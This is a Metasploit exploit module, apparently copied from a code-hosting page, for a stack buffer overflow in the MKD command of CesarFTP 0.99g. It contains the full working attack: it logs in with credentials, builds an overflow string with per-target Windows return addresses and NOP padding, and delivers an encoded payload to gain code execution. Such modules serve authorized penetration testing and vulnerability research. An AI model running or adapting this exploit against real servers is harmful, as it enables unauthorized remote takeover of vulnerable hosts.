Path: blob/master/modules/exploits/windows/ftp/cesarftp_mkd.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.1718You must have valid credentials to trigger this vulnerability. Also, you19only get one chance, so choose your target carefully.20},21'Author' => 'MC',22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2006-2961'],25[ 'OSVDB', '26364'],26[ 'BID', '18586'],27[ 'URL', 'http://web.archive.org/web/20060619195555/http://secunia.com:80/advisories/20574/' ],28],29'Privileged' => true,30'DefaultOptions' => {31'EXITFUNC' => 'process',32},33'Payload' => {34'Space' => 250,35'BadChars' => "\x00\x20\x0a\x0d",36'StackAdjustment' => -3500,37'Compat' =>38{39'SymbolLookup' => 'ws2ord',40}41},42'Platform' => 'win',43'Targets' => [44[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],45[ 'Windows 2000 Pro SP4 French', { 'Ret' => 0x775F29D0 } ],46[ 'Windows XP SP2/SP3 English', { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll47# [ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll48# [ 'Windows XP SP3 English', { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll49[ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ],50],51'DisclosureDate' => '2006-06-12',52'DefaultTarget' => 0,53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)60end6162def check63connect64disconnect6566if (banner =~ /CesarFTP 0\.99g/)67return Exploit::CheckCode::Appears68end6970return Exploit::CheckCode::Safe71end7273def exploit74c = connect_login75return if not c7677sploit = "\n" * 671 + rand_text_english(3, payload_badchars)78sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded7980print_status("Trying target #{target.name}...")8182send_cmd(['MKD', sploit], false)8384handler85disconnect86end87end888990